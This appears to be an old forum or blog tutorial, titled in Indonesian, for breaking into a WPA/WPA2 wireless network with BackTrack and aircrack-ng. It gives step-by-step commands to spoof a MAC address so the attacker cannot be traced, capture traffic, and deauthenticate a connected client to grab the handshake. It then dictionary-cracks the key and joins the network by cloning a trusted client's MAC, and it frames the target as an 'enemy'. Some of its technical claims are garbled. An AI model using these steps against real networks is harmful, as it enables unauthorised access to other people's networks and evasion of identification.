Cara Hack Sinyal Wpa/Wpa2

Software: BackTrack Remote Exploit V3
Chipset: ATHEROS (Cisco Aironet 802.11 a/b/g / NEC
WarpStar WL54AG, Netgear WG311T)

- Boot from CD or HD with BT V3
- 64 MB free writeable Space
- 2 Shells (under Xwindows it’s easier (startx))
If XWindows doesn’t work, configure it wirh “xconf” or „xorgconfig --textmode“

- BT = BackTrack
- MAC = MAC Address
- AP = Accesspoint
- CL = Client
- IFC = Interface (here ath0 placeholder)
- FILE = Log file 2 store the packets
- CH = Channel
- DIC = Dictionary File (.dic or .txt)
This Hack is only working with the Brute Force method.
My Core2Duo 3GHz hacks 420 Keys / Sec.
It doesn’t matter WPA or WPA2. For hacking it is the same. ONLY WPA2 encrypted as TKIP works. AES is incompatible!

General Conditions:
- Accesspoint with good Signal
- one Client, who is connected to the AP.
- A Dictionary File

Hack it !
1) Wireless Device identification
We want to know how our device is named in the System.
Type „iwconfig“. With Atheros Chipsets the devices calls always athX.

2) Fake that MAC! (optional)
First, we fake our own MAC address. So nobody canidentify us any more. ifconfig IFC hw ether 00:11:22:33:44:55

3) Turn on Monitor Mode
To get all the packages we put our device in the
„Promiscuous Mode“
First we kill the monitor mode on the ath0 device and create a new monitor device over the wifi0 device. After we created the monitor device, we can use the ath0. airmon-ng stop ath0 (delete the monitor mode) airmon-ng start wifi0 (start monitor mode auf ath0)

4) What is online ? (SHELL 1)
Search some AP’s with already connected Clients. (you can see it in the bottom half of the screen, calls Stations and Clients) airodump-ng –w FILE IFC CTRL – C

5) Choose your enemy (SHELL 1)
Please remember the MAC address of the AP you want to hack. Remember also the channel number from the AP you want to hack.
Now we only want to collect the packages on that channel and we like to store that traffic in a CAP-file.
(DONT USE „--ivs“ Option!!) airodump-ng –w FILE –c CH --bssid APMAC IFC

6) Waiting for a Handshake ! (SHELL 2)
Ok .. now we can wait for a Handshake. (You can see it in the ariodump-ng window SHELL 1). The “enemy” don’t feel anything about. But this can take a long time. You have to wait for a client-reconnect from which you will get the handshake. But we can provoke a reconnect form a client.
How can we provoke a reconnect? easy… we tell to the AP „Hello I am the client , and I want to disconnect.” The real Client think „Shiiit I am disconnected.. I must reconnect immediately!“ And we get the handshake we need and we store it in SHELL1
You can see it in the first line of SHELL1.
So, if you want provoke a reconnect, type more then one times the fallowing command. (wait 5-20s between) aireplay-ng -0 1 -a AP_MAC –c CL_MAC IFC

7) Crack the key! (SHELL 1)
Ok … we got the handshake. Let’s crack it! We compare the stored handshake in the .cap file with the dictionary file. aircrack-ng -0 –x2 -w DIC FILE.cap

8) Connect to the hacked AP (SHELL2)
With a MAC filtered AP you have to set a trusted MAC address from a client on your own card.
ifconfig IFC down hw ether CL_MAC (maybe reset IFC first) and then connect to the AP
